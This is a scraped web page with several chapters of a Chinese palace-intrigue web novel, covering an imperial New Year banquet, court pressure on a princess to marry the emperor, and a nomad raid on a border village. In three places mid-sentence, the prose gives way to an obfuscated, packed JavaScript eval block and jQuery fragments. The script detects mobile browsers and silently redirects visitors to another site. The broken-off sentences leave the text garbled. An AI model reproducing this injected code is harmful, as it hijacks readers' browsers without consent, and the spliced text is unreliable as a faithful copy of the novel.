在本采的搀扶下，萧沁澜施施然下了轿子，抬步走进院内，刚一抬眸，便看到两个互相追逐打闹的身影。
公主出行总是伴随着一大群宫娥太监，蔫润知自然察觉到了这边动静。
看到来人，他立刻收敛起那幼稚的行为，快步上前，因着身上的寒气，于距离一臂之处停下了脚步。
“来了？”
“……嗯。”
简短无意义的对话后，萧沁澜笑道：“我先去向母后请安。”
“我陪你一同前去。”蔫润知搓了搓冰凉的手心。
只是几步之遥，却被他一本正经的语气，说得仿佛要跨越千山万水。
“哟，啧啧啧……”萧抒故意提高嗓音，对着门口喊道：“这是哪位仙女下凡，竟让醇亲王一脸傻笑啊！真是甜得腻死我了！”
说罢，还煞有介事地使劲抖了抖身体。
这番热闹确实久违了，萧沁澜忍不住低头轻笑，朝他点头示意，这才来到正殿前，欠身行礼道：“给母后请安，愿母后身体康泰。”
“嗯，起来吧，今儿是家宴，不必拘束。”
“多谢母后。”萧沁澜在琉薇的搀扶下起身，抬眸笑望着眼前的人。
明远太后今年刚满四十，虽常年劳碌，批阅奏折，但气色保养得相当好，依旧风韵犹存，仪态万方。
若是在当今时代，太后这般容颜，一旦发布到网络上说出真实年龄，定会引来一片质疑，抑或是一连串“贴贴”的评论。
“公主殿下……”
在场众人中，唯有司空颢没有官职，正式场合并未过于放肆。
萧沁澜颔首回应。
寒暄过后，明远太后问道：“今夜的除夕宴会，沁澜可都安排妥当了？”
“一切顺利，都与往年无异。南门姑娘此刻正在处理剩余的事务。”
“真是辛苦了。”明远太后将手中的手炉递给她，叹息道：“哀家都听说了，淑妃与祥妃不懂事，真是难为你了。若非哀家派轿辇去接你，恐怕这顿团圆饭都吃不上了。”
“宫内琐事繁多，儿臣一时疏忽，让母后操心了。”
“好，天气寒冷，不多说了，快进来用膳吧。”
言毕，明远太后向还在嬉戏的宁郡王喊道：“待会再玩，现在都先进屋。”
“好嘞！”萧抒搓掉手中积攒的一大摊雪花，兴冲冲地跑过来，“今儿都有什么菜啊？我馋太后宫里的私厨好久了，今日可得好好大吃一顿。”
萧沁澜掌管整个后宫，早已知晓菜谱，听罢此话，便掰着手指细数道：“有茶食烧炸凤鸡、两熟剪鲜鱼、焚羊肉、丝鹅粉汤、猪肉攒白汤、五味蒸虾……”
“别说了别说了！再说我的眼泪就要从嘴角流出来了。”
明远太后由衷地笑出了声，“好，今儿你敞开肚皮吃，有你好受的。”
＆
除夕白日。
边关之地的云麓镇邻近龙脊防线，镇外的乡间小道上熙熙攘攘，挤满了身穿陈旧棉衣的商贩。
摊贩展示的物件儿五花八门，自家腌制的咸菜、特色糕点、采购来的各式货物，亦有摆了满地的红灯笼、对联、窗花、布匹等年货。
前来者皆是附近的城乡居民，趁着年关将至，来此赚取些微薄的银两，以便回家过个好年。
紧邻的两个摊位上，一位身材魁梧的汉子将手揣进袖子里，用头指了指地上的一大堆物品，
“老刘啊，你这是发财了吗？有钱去城里采购了？快跟我们说说你是怎么发财的，有这样的好买卖，得带着乡亲们一起干，可不能藏着掖着啊！”
此话一出，周围人都给面子地齐声笑了起来。
邻里邻居，庄稼汉子最关心的莫过于自己那一亩三分地，闲来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592092|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无事，便带着物件儿坐在这临界处，看看能不能等到那群北狄人，赚点儿铜钱，哪怕换个稀罕玩意儿给家里的婆娘、儿子也好。
“嘿嘿……”
被点到名的俊秀汉子也不吝啬，眉开眼笑地说道：“这都是我家女儿的功劳。
城里不是刚开了个初语楼吗？我家优儿恰巧已满十四岁，进去干了一个月，就往家里寄了不少银钱。
那可是银子呢！那么大一锭！
大半年的，光优儿一人挣的，就够我们一家子吃饱穿暖。
儿子眼看就要满五周岁了，现下终于有闲钱送他去学堂了。”
旁边的汉子听罢，蹲在地上，歪着脑袋思索道：“你说这初语楼怎么就只要女娃娃？男的有力气又聪明，女的去了能做什么？”
听到的人七嘴八舌。
“甭管做什么，人家那楼可是遍布了整个明昭王朝。听说就连那牌匾，都是当今太后娘娘亲自题的字，这可是天大的荣耀啊。”
“嘿，太后娘娘能赐字，还不是因为看重那些藏书。
真不知道这初语楼的管事是怎么想的，脑袋是不是被门夹了？那么珍贵的书册，竟然不花钱就能随便看。
我听说这个消息的时候都吓了一跳！那是我们这些庄稼汉子能碰的？”
“管事的心善呗，还能为啥。当年我家女儿长大的时候，母亲就急着给她找了门亲事
。可那家的礼金连初语楼一年的工钱都不如。
现在可真是有盼头了，女儿能赚钱，儿子也能读书。嘿，说不定以后还能考个县太爷当当呢。”
“还真说不好。我今个去县里送货的时候，听说当今太后因为科举舞弊的事情大发雷霆，处死了好多大官。这样的朝廷公正严明，只要学得好，肯定不会埋没人才。”
众人正闲聊着，不知何时，一行外族人骑着高头大马疾驰而来，察觉道路两旁的中原人，便在不远不近的地方停了下来，用着晦涩难懂的语言议论着什么。
“哎，别说了，来生意了！这位客官快看看这布匹，柔软得就像云一样，连京师的官家小姐都在用呢……”
大约是商议出了结果，那群人并未下马，挥着马鞭悠悠上前，居高临下地打量着这些中原人，朝远处探视。
“你们是来卖东西的吗？”
来人的汉语十分流利，只是态度太过倨傲，骑在马背上的高大身形颇有威压，身后还跟着大约百十来人。
俊秀汉子有片刻不适。
中原与异族互市是一年前方才兴起，这里偏僻，但离云麓镇不远，又有军队守护，应该不会出什么大事。
“是的，我们是来卖东西的。这位爷儿要不要下来挑挑，都是顶好的货色。”
马背上的人冷笑一声，他牵着马缰缓缓上前，马鞭指着地上的糕点。
冬日寒冷，他呼出的白气清晰可见。
汉子很有眼色，立刻掰了一小块糕点，笑着迎上前去，“爷儿尝尝，这都是自家做的，味道好得很。”
这么一小口糕点对那身形魁梧的男子来说，根本不够塞牙缝。
咽下去后，他舔了舔嘴唇，“前方，是村子吗？”
“呃……是，都是我们的一些家人。爷儿要是觉得好吃……”
汉子的话还未说完，寒光乍现，冷风呼啸，弯刀一挥间，鲜红的血液顿时喷涌而出，溅在了那男子的下摆上。
突如其来的变故让四周摆摊的人愣了一瞬，却立即反应过来，场面顿时像炸了锅一样，漫无目的地四下逃窜。
“杀人了……反了……北狄人打进来了……”
66. 第 66 章
岁末除夕之夜，百官咸集，家眷亦随旨入宫，灯火通明，共襄盛举。
月华如练，星光点点，身着官袍的群臣举杯相邀，欢声笑语间谈论着京城的逸闻趣事。
殿内丝竹之音悠扬，旋律动人，缠绵耳畔。舞姬们衣袂飘飘，随着乐声翩翩起舞，宛若仙子下凡。
宫女身着轻纱罗裙，外披精致小马甲，手捧各式佳肴，于殿内穿梭往来。
歌声与笑语交织，美酒与佳肴并存，佳人倩影与美景交相辉映，令人忘却尘世烦恼，心旷神怡，沉醉不已。
萧墨凌高坐首位，俯瞰着下方觥筹交错的繁华，心情愉悦，神情亦随之放松。
因皇后之位空缺，且后宫仅五位妃嫔，故除饮食座次需留意外，其余安排倒也井然有序。
明远太后端坐于左侧，或许被这热闹氛围所感染，神情难得展现出柔和之态，让人暂且忘却她往日的杀伐决断。
“贤昭到底娴熟，此番宫宴，安排得恰到好处，合情合理。”
“正是……”琉薇在她身后笑靥如花地附和，“公主殿下承蒙太后教养多年，自然举止大方，处事周全，迄今为止未曾有丝毫疏漏。”
“是个合格的掌权者。”
此言一出，琉薇脸上的笑意略显僵硬，她瞥了眼右侧被提及之人，随即迅速收回视线，含糊地应了一声。
“怎的？不敢言说了？”明远太后抿了一口甜润的酒，惬意地眯起双眸，语气中带着笑意，听不出丝毫异样。
琉薇跟随她多年，深知她轻描淡写之语，绝非可随意揭过的闲谈。
“奴婢只知尽心竭力侍奉太后娘娘，至于朝政之事，奴婢实在不敢妄言。”
“不懂便好。”明远太后缓缓拭去嘴角酒渍，“今日喜庆，不谈国事。”
“是，奴婢多嘴了。今日的歌舞确实精彩绝伦。”
琉薇笑意盈盈，眸光璀璨如星，语气轻快，手中的帕子却被她紧紧攥住，脑海思绪不断。
前段时日，绥德州突遭雪灾，虽灾情不甚严重，却也导致四十余座房屋倒塌，上百口人无家可归，他们辛勤劳作所得，一夜之间化为乌有。
而当地官员竟为敛财，贪污赈灾银两，将那些无辜百姓视作暴民，残忍杀害，无一幸免。
此事不知何故，竟逐渐传至京师，引起轩然大波。
这个时候绥德州官员还向定国公行贿，传得沸沸扬扬，京师百姓议论纷纷。
国公府行动迅速，不到一日便放出消息，称是二公子年幼无知，不识来人身份，也不知所赠之物为何，便贸然收下。
国公爷闻讯后，立即动用家法，对二公子施以严惩，致使他卧床七日，就连此次宫宴，也是在下人的搀扶下方能出席。
京师官员耳目灵通，短短数日内，不仅得知该官员用贪污之财向国公爷行贿，还查明他竟是为数不多的老臣之一。
这些老臣曾与太祖皇帝共谋天下，如今幸存者寥寥无几，但他们的影响力仍不容小觑，且多偏向身居高位的定国公。
年关将至，御史台为求升职加薪、青史留名，竭尽全力上奏折，一次又一次地请求面见皇帝弹劾定国公。
直至听闻二公子受伤卧床，国公爷又将贿银悉数退还，方才勉强平息了众怒，维护了朝野表面的平静。
可二公子性情温润如玉，行事低调谦逊，官员们并非愚钝之辈，无人相信此事的真相这样简单。
这事儿处理结果尚未公布，太后已拟好奏折，做出了明确的定论。
自己今日趁着繁忙，悄悄向公主殿下透露了奏折的内容，当时还特意支开了殿下身边的本采。
然而从太后方才的态度来看，此事似乎已有所泄露。
莫非是本采中途偷偷返回，侥幸窥见了真相？
公主殿下心系天下，聪慧绝顶，没有上位者的冷漠与孤傲，充满温情，甚至愿意让平民触碰那些珍稀的书册。
这种胸怀与气度，唯有贤昭公主殿下方能具备。
作为太祖皇帝的唯一血脉，殿下无疑是最适合成为皇帝的人选。
她们这群人始终期盼着殿下能够登基为帝，统一天下，让平民百姓能够吃饱穿暖，不再遭受无端的杀戮。
担子过重，必须想出一个万全之策。
琉薇神色不变，笑吟吟地望着殿下繁华，打起了精神。
下方的本采忧心忡忡，紧皱着眉眼。
此次宫宴虽由主子全权负责，可皇帝陛下态度强硬，将主子的座位硬生生挪到了右侧，仅比太后的位置稍低一些。
朝臣们进来参拜时，竟然无一人觉得不妥。
此举不正表明朝野上下一众的态度吗？
如果公主殿下此刻点头同意，只需挑选一个最近的黄道吉日，便会成为皇后。
如果公主殿下不同意，待科举考试结束后，亦会被众臣强行推上那个位置。
无论将来皇帝是谁，主子都逃不过这既定的命运。
正因如此，迄今为止，都未有臣子子弟上门求亲。
“在想什么呢？”
前方歌舞升平，后方一片安然，萧沁澜注意到她那双失去神采的眸子，轻轻戳了戳她的额头，笑着问道。
“奴婢没什么。”
本采无精打采地摇了摇头，守口如瓶。
现下时局平安喜乐，烦心事也就那么几件。
人多嘴杂，萧沁澜不欲明言，只拿起她剥好的虾肉，含糊道：“人生漫长而辽远，只要大局稳定，期间的琐碎杂事便不值一提，何必过分介怀，不过是自乱心志罢了。
心胸宽广，行稳致远，方能装得下天地万物，咽得下百种滋味。
本采，今日是除夕，阖家欢乐，别让破事影响了心情。”
本采听罢面色仍旧凝重，长吁短叹一番后，抬眸望向谈笑的众人，“殿下思绪如此宽广，奴婢是万万做不到的。罢了……”
“是嘛，豁达乐观，这样就对了。”
萧沁澜偏头笑着回应，回首时，眼眸深处却藏着深深的锐利。
琉薇回禀的事情，她早已知晓。
太后乃中立之人，是真正有才能的领导者，诸多政策皆是为了王朝百姓的。
而此次为贪官定论一事，多半是萧墨凌再三主张的结果。
太后虽权柄高悬，却已无法如昔日般，对所有政事全权做主。
短短数月间，萧墨凌便唯信自己所用之人，对不偏不倚者或施以微压、或加以轻视。
判断缺乏公正，无包容之心。
这样的皇帝一旦掌权，明昭王朝恐将沦为他的一言堂。
贪官污吏定会趁机崛起，心志不坚的官员也会纷纷效仿，民间必将怨声载道，百姓将重归疾苦之中。
而自己若真成了皇后，实权恐怕也会逐渐被剥夺。
初语楼之所以能够发展到如此规模，自己手中的强权、以及无人敢挑衅的威严是最重要的原因，毋庸置疑。
必须加快速度了！
想罢，萧沁澜收回思绪，视线落在那一场场歌舞之上，神情舒展愉悦，动作端庄大方，看不出丝毫异常。
嫔妃们的位置仅次于她，紧接着便是亲王、郡王。
多亏她开了后门，蔫润知才得以借着好友
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603331|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
团聚的机会，将刚刚到来还未坐稳的陆承韫拐到了他的位置上。
可拐来之后，蔫润知却面色萎靡，一杯接一杯地不停喝着酒水。
蔫润知身体后倾，满脸愤愤不平，压低了声音叫嚷道：“众目睽睽之下，陛下硬生生将沁澜带到了那个位置上。
除了皇帝、太后娘娘，淑妃可是正经行过礼的侧室，堂堂四妃之一。可沁澜身为公主，地位却高于淑妃，你说这是为何？”
说罢，他猛然仰首，高抬手臂，又灌下一杯酒水。
陆承韫的脸色还有些苍白，伤口刚愈合不久，不宜饮酒。
他神色淡然，平静地品着精致点心。
“陛下已默许沁澜为后。”
“无知！”蔫润知重重放下杯盏，随之而来的是“哐当”一声脆响。
他抿了抿唇，低头看着那冰冷的杯沿，“何止是陛下，朝中大臣也默许了此事。你看看这群人，谁也未曾站出提出一点不同意见。就连御史台都缄默不言，功绩都不相争了。”
萧抒与他相邻而坐，闻言谨慎地越过陆承韫后背，侧身拍了拍蔫润知的肩膀，“事情还未发生，一切皆有可能。别忘了今儿个是什么场合，你可莫要发疯胡闹。以我的身份可是救不了你的。”
司空颢亦被拽至此处，与他共坐一席。
好兄弟多年深情未了，身为旁观者，他感慨摇头。
可皇后之位牵涉国事朝政，他既无官职又无地位，不敢妄加言论。
唯能斟满杯中酒，与之遥遥相碰，以作慰藉。
“唉，世事何以如此艰难？”蔫润知斜倚在桌面，慵懒地摇晃着空酒杯。
“其实亦能体谅。”
萧抒隔着旁人，低声细语道：“你与贤昭如影随形，自幼相伴成长。
听闻你初生之时，不顾小贤昭的踢蹬之足与啼哭之声，仍亲自为她更衣，乃至……咳咳，直到贤昭六个月后，方被她的小手呼怕。自此未曾分离。
司空性情淡泊，喜静好读，他不懂。而陛下则性格开朗，酷爱武艺，且与贤昭共同历经磨难，甚至生死。陛下同你一样心中有所执念，亦是情理之中。”
“但沁澜那般高洁，聪慧稳重，岂能与他人共侍一君！”
“呃……”萧抒眼神飘忽。
世人皆对新奇物件儿怀有好奇之心，难免欲近之、又征服之。
所得之后，往往被置于一旁，而先去探寻未见的新奇。
未来入宫的女子必定甚多，无人能抵挡住青春美貌的诱惑。
萧抒抚了抚鼻尖，悄悄离他远些，“身处我等地位，最为重视的便是后嗣传承，三妻四妾亦是寻常之事。只要陛下情深意重，始终不渝……”
他的声音越来越弱，终至消散。
不待他唠叨完，蔫润知即刻表明心迹，“任凭世间繁花似锦，弱水三千，我独爱那初见时的心动，至死不渝。”
“你非帝王之身，无需忧虑后嗣之事，亦无政务缠身，朝臣催促，自然可随心所欲。”萧抒言罢忽觉不妥，连忙掩口，四下张望。
甩了甩头后，萧抒道：“莫要再想这等烦心事了，昨日外出我发现一处美景，明日我们一同去爬山如何？”
与他挨着的陆承韫淡然轻笑，“大年初一，你倒是精神饱满，偏爱这些耗费体力之事。”
萧抒叹气道：“府中冷清，谁愿久留。京师美景众多，我岂能虚度时光。”
隔着一人的蔫润知再未参与对话，爬起来倾倒酒壶，凝视着那潺潺流淌的清冽水珠，陷入沉思。
一旁的司空颢只是含笑摇头，侧目望向高位上的几人。
67. 第 67 章
夜色渐浓，月华如水，寒风凛冽地穿梭于荒野与村落之间，犹如利刃般无情地雕琢着大地每一寸肌理。
“咯吱——”
一只黑色靴履骤然踏破了薄雪的静谧，随之而来的轻响旋即便被寒风吞噬，打破了周遭的沉寂无声。
“这……大哥，这……”
紧随其后的老二目睹眼前景象，双目圆睁。
惊骇之余视线被另一幕所吸引，他急忙上前几步，将躺在血泊中的孩童缓缓抱起。
就在他提起的瞬间，脑袋“咕噜噜”的滚动却如同惊雷，让他本就提起的心好似如遭重击，顿时经历油锅煎熬与利刃穿刺的双重痛苦。
为首的老大季迁叹息一声，走近前来蹲下身子，将孩童的遗体放在地上，又拾起不远处遗落的另一半，细心拼接完好，随后站起身，仔细审视着这个仅有十余户人家的小村落。
星沉月朗，今夜又添新雪。
夜幕下的景象，对于这群习武之人而言，皆如画卷般清晰展现在眼前。
无火无光，满目猩红。
简陋的砖房破败凋零。
木围栏上刀痕累累，大口豁开。
家用农具被践踏得支离破碎，散落一地。
屋顶瓦片，摔落尘埃，碎裂成无数细小残渣。
地面上洁白的雪花与鲜红血液交织，宛如朵朵娇艳欲滴的腊梅，深深植根于泥土之中，在这寒冷的夜晚里，悄然无声地绽放。
此情此景触目惊心，既残酷又凄美。
寒风怒号，穿堂而过，卷起阵阵血腥之气，令人窒息欲呕。
那气味愈发浓烈，仿佛永远无法消散。
破碎的衣物随风轻舞，如同无主的纸片，在此间游荡徘徊，一遍遍、一寸寸地搜寻着往日的熟悉痕迹。
这漫天刺目的景象，令老二心痛如绞。
稍作停顿，他紧握双拳，艰难地补充道：“大哥，我方才仔细搜查，已确认无人生还。也未发现任何……女子与孩童的踪迹。”
“棉衣无一幸免，悉数遭人剥夺。”
衣着打扮与二人相仿的老三拱手禀报，“粮食、家禽亦全部被掠走。地上马蹄印虽被雪花遮掩，但大致估量来袭者约莫百人左右，身强力壮。他们在袭击村落之后，并未继续向镇城进发，而是径直返回了草原。”
季迁低垂眼帘，沉吟片刻后说道：“主子在各地均设有轻功卓绝的暗哨，可这些暗哨缺乏战力，人手终究有限。
这个村落历来扎根于此，自互市设立以来便未曾迁徙。
边疆防线戒备森严，各守营之间盘查紧密，又有初语楼暗中监视。因此那帮抢掠民女与粮食的北狄人，定是先携带物品登记入关，再分出一部分人外出劫掠，以试探当前的守备情况。”
“正是如此，我也这般推测。”
老三眉头紧锁，拧成一团，“今日我们的人巡逻至此，闻听刀剑交击与惨叫之声，远远窥探一眼便急忙返回楼中禀报。但我们的人手毕竟有限，且距离较远，终究……还是来迟了一步。”
“我就说这段时间，北狄人为何总是成群结队地出入，原来他们早就存了杀伤抢夺的歹念。”
老二懊恼地挠头，“老大，这可如何是好？我们仅三人在此，其他人刚接到通知。若那群北狄人再度残杀我们的同胞，该怎么办？”
季迁经常执行主子的任务，经验丰富，迅速在脑海中思索出对策。
“北狄人自视甚高，现在却行此偷偷摸摸之举，显然是畏惧明昭王朝的军队。
然而事关生死存亡，他们已杀害这么多人进行试探。若这几日无人察觉，他们定会豁出一切，不顾颜面，撕破当前的平和，举兵抢夺。
北狄内部不合，想要瓦解他们，只需攻心即可。但此事还需朝廷的明确指示。”
“那现在呢？难道我们就只能眼睁睁地看着吗？”
老二双手一摊，急得直跺脚，“我们可是主子最得意的属下！每年主子都赏赐我们那么多银钱与粮食，让家人吃饱穿暖。
守护同胞是我等义不容辞的责任，不可袖手旁观啊？这样怎能对得起主子的厚望？
暗卫营中人数众多，但主子可是亲自点名嘱咐我的！我至今还珍藏着主子亲笔写的信件。如若今日我等不管，就算回去也会被父母妻儿责骂的啊……”
“行了，别再絮叨不休了。”
老三抬手用力拍了下他的头，“大哥尚未言尽你就滔滔不绝，无休无止。谁曾说过要你放弃？莫非你心中真有此意？”
“绝无此事！”
老二斩钉截铁，双目炯炯有神地否认道：“我此生从未遇到过如主子这般，真心实意为民众操劳的天之骄子。
主子身份尊贵，又才华横溢，满脑奇思妙想，所赚之财皆投入暗卫营，对我们唯一的要求便是守护百姓，监管官吏与异邦。
此乃上天赐予我们平民的福星，就连拙荆在家亦不顾稚子，勤勉修炼轻功，双亲更是全力支持。
王朝终需帝王，但谁不渴望拥有这样明理、体恤民情的帝王？我怎能在此时刻让主子失望，成为危害百姓的罪人！”
“说得好。”老三瞥了眼身旁的大哥，见他仍在沉思，便未再打扰。
“哎，若主子为男子，成为天下之主自是理所当然。可惜千百年来，从无此等先例。
哼，提及这事我便一肚子怒火。京师登基的那位简直一无是处，就连赈灾归来靖郡王也惨遭不幸毒杀。
皇帝心胸狭隘，自己无功无德却生怕他人篡夺皇位。而我们主子才华横溢，乃太祖皇帝亲自抚育的英才。
文能编纂典籍，得太傅赞誉；武能上阵杀敌，骑射技艺样样精通。世间怎会有如此惊才绝艳，又心怀慈悲之人。你可知主子在信中对我说过……”
“老二。”
“……是，大哥尽管吩咐。”被突然打断，老二立刻收敛心神，满脸肃穆地抱拳行礼。
一旁的老三见他已想出对策，神情也变得凝重，同样恭敬地等待指示。
季迁道：“主子高瞻远瞩，命我们时刻携带医谷所制的草药。
老二沉稳可靠，速往暗卫营，以最快速度将此地情况禀报主子。
老三人脉广泛，去调动那些虽不在册，但身手矫健的家人，分散到离此最近的边关村镇仔细搜查。切记，不可暴露我们的目的。”
“遵命！”老三领命后，紧接着问道：“那大哥呢？”
“将你二人身上部分伤药与毒粉交予我。”老大抬起右手，指尖捻动沾有血迹的泥土，“距离下一个村落尚有一段路程，此间散落着几户人家。为防不测，我前去探查一番。”
“好，事不宜迟，即刻行动。”
三人乃是暗卫营中的一支小分队，历经无数任务，性格各异，所长不同，但皆对主子忠心耿耿。
闻听此言，二人毫不迟疑，立即将身上所需之物交出。
随后霍然转身，朝着三个不同的方向，竭尽全力，疾速飞奔而去。
＆
路间一座小屋中，烛火昏暗。
“娘亲娘亲，快些来，今朝的白面饺子里藏着肉馅儿呢！”
身形不过桌案高的孩童，此刻正欢欣鼓舞地拍打着小手，乖巧地候着长辈前来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617134|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
餐席。
“哎哟，这是哪家的掌上明珠乖巧可人啊？”
一身农装的男子迈步上前，将地上的小不点儿揽入怀中，满目慈爱地将她高高举起。
“当心些，别闹了，快来用饭吧。”
妇人手捧碗碟，温柔地注视着这温情脉脉的一幕，心中不无忧虑。
“这便来。”
话音甫落，一家老小围桌聚首，男子执箸夹起一枚饱满饺子，继而以小勺细细碾碎，喂给膝下幼女。
“转瞬女儿要满三岁了，到了初语楼收纳的门槛。”妇人搅动着碗中米水，言辞黯然道。
男子道：“何必急躁？咱们的女儿玉洁冰清，怎能小小年纪便离家托付于他人。三岁送入初语楼实在不负责任，这是那些死要面子、恬不知耻之徒的所为。
我不会让他人在背后指指点点，戳我脊梁骨的。我的女儿我自是珍爱不够！”
妇人闻听此言，脸上的愁云转瞬消散，深情地抬起眼眸，望着身旁的丈夫。
“好，我们的女儿，我们定要好好抚育。”
妇人满脸慈爱地抚摸着孩童的额头，正欲接手时，却忽然听到室外传来“叮铃咣当”的声响，紧接着便是重物坠地。
这里附近仅有五户人家，依靠打猎换来的钱财购置些好物，生活虽算惬意，但一到夜晚四周便显得荒凉。
“我且去看看。”男子拿起门边的弓箭，又拎起一根特意购置的长枪，面色凝重地推开房门又轻轻掩上。
妇人生怕发生意外，抱着小碗与孩子，躲进了桌下那不易察觉的洞穴中。
四周一片沉寂，唯有饺子的香气在鼻尖萦绕，经久不散。
约莫一刻钟后，房门被慢慢推开，男子的呼唤声率先传来。
“是我，快出来吧。外面已经没事了。”
头顶的光亮忽地闪现，妇人怀抱着满脸困惑的孩子，小心翼翼地爬出藏身之处，拍着惊魂未定的胸口，宽慰道：“我就说嘛，朝廷兵强马壮，派遣了众多军人守卫边疆。那些外族之人怎敢轻易动手的？”
“唉，想必是哪里的畜生不慎撞上了农具。闺女，你可听说过‘守株待兔’的故事？”
小豆丁嘴里叼着勺子，懵懂地摇了摇头。
“那爹爹给你讲讲……”
……
屋外夜幕已深，季迁拖走最后一具尸体，唯恐毒粉未能奏效，又抽出腰间匕首，在九名北狄人的心口处连连捅刺，方才满意地拍手起身，搜刮走他们身上的钱财、首饰和厚重的外袍，只留下一件件臭气熏天的中衣。
为了避免引起恐慌，他将这些衣物扔在马背上，动作利落地翻身上马，拽着长长的缰绳，朝着来时的村落方向行去，用仇人祭拜。
＆
远在千里之外的京城深处，除夕的夜宴依旧未歇。
太后退场，陛下饶有兴味地观赏场中舞蹈，大臣们亦随之放松，于宴席间与熟识之人畅谈笑语，不消片刻皆带了三分醉意。
众夫人与千金低眉浅笑，相看着京城中才华横溢的少年儿郎。
高位的萧沁澜打了个哈欠，无趣地由本采搀扶着，悄无声息地退出了大殿。
刚一离去，太傅便与身旁的同僚便交换了眼神，紧随其后。
一直关注沁澜的蔫润知耳目聪敏，“他们想干嘛？该不会是要以势相逼沁澜为后吧？这可是宫中的盛宴！还是沁澜精心筹备的盛宴！”
“如此周全，难免不会引起某些念头。”萧抒望着满桌的美味佳肴，摇头叹息。
“走吧，看了再论。”言罢，陆承韫率先站起，毫不犹豫地跟了上去。
68. 第 68 章
明月高挂，星辰寥落，白日新降的一场细雪，将皇宫装扮得庄严宁静，犹如纯洁的纱幔。
身后乐音悠扬，歌舞欢腾，不时拂来的寒风携带着清新的雪香，与殿内袅袅升起的淡淡酒香相互交织。
脚步声自背后响起，殿外散心的萧沁澜缓缓转身，嘴角勾起浅浅笑意。
太傅庆如韩越来越近，行走的步履略微有些蹒跚。
历经半生沧桑，目睹前朝的颓败，心灰意冷之下隐居山林，幸得遇明君三顾茅庐，亲邀自己出任这权倾一时的文华殿大学士、当朝首辅，兼吏部尚书之职。
庆如韩对太祖皇帝的深重恩情难以言表。
谁知太祖早逝，明远太后执掌朝政。
自己本欲以残年之力，促使太后归还萧氏皇权。未曾想明远太后竟颇具政治才略，短短三年便将明昭王朝治理得秩序井然。
宿弊尽除，国库充盈，民和年丰，粮食满仓，钱财积累。
除此之外致力于繁衍人口，发展生产，教化民众，训练军队，使得王朝日益强盛。
周边外族因着王朝越发强大而零落消散，分崩离析。
但说到底，太后终究是外姓，且为女子。
自古以来，女子以相夫教子为本，不得妄议朝政。
如今新帝登基，王朝已步入正轨，唯一剩下的事便是让萧氏血脉成为下一任新帝。
这样百年之后，他们这群受太祖皇帝恩泽的臣子，才能心安理得地去见陛下。
庆如韩本在斟酌着言辞开口，却未料她如此敏锐，忽又忆起贤昭公主昔日策马奔腾的英姿，不禁暗自喟叹，上前恭敬地行礼。
“老臣参见公主殿下……”
紧随其后的尤项也连忙行礼请安。
“两位大人免礼。”萧沁澜笑容可掬地受了此礼，瞥了眼身旁的本采。
得到示意，本采亲自上前，将两位大人搀扶起来。
半晌沉默。
萧沁澜神情自若，看着他们犹豫不决，欲言又止的样子低眉轻笑，“太傅大人为何提早离席，莫非席上的佳肴有不称心之处？”
庆如韩道：“非也，殿下筹办宫宴已历四载，每回皆能恪守礼制，既无过分奢靡，又能彰显我明昭王朝之繁荣。此等造诣，实非常人所能及。”
“大人谬赞了。”萧沁澜谦逊有度，“不过皆是遵循前人旧例，平平无奇而已，本宫何敢当此殊荣。”
“唉……”
庆如韩摇头感慨，“墨守成规者，未必能将诸事处理得尽善尽美。
殿下虽未标新立异，但亦求进取，于细微处见真章。
譬如老臣年迈，席上佳肴虽同，却清淡宜人。尤大人性格豪爽，口味便偏重些。
说来这四年间，每逢除夕夜宴，老臣总能尽兴而来，酒足饭饱后尽兴而归。同僚们事后谈及，亦是满心欢喜。
公主殿下年年无误，将此事处理得如此妥帖，实乃治事之要诀也！”
“怎敢承受太傅这般盛赞。”萧沁澜抿了抿红唇，眼波澄澈如泉，“本宫年幼无知，世俗之理皆赖母后悉心教导。闲暇之余时常温故知新，才能得诸位大人些许赞誉，方觉不负此身。”
“岂止是这些……”
“哎呀，老庆啊，你看你婆婆妈妈文绉绉的，酸气冲天有废话连篇，难怪处理朝政也那样的不爽快。”
尤项听得耳朵生茧，被这客套的言辞惹得浑身不自在。
他猛然打断接下来可能出现的冗长言辞，抱拳躬身行礼，直截了当道：“公主殿下，我等老臣今日斗胆，想请殿下明年尽早与陛下完婚，成为明昭王朝独一无二的国母。”
萧沁澜并未立即命他起身，深邃的眼眸静静地凝视着他。
“本宫记得，尤大人与太傅大人府中各有千金，论及身世与品行，二位大人的小姐，亦足以担当明昭皇后之尊。”
尤项当即瞪大了双眼反驳，“这怎能相提并论啊！殿下乃是萧氏皇族的血脉，老臣之女不过姿色尚可，其余方面更是不能与殿下比肩！”
庆如韩立于一旁，象征性地制止了一次，也仅此一次，便不再多言。
以往的种种表现，自己在这些臣子心中不是愚钝之辈。
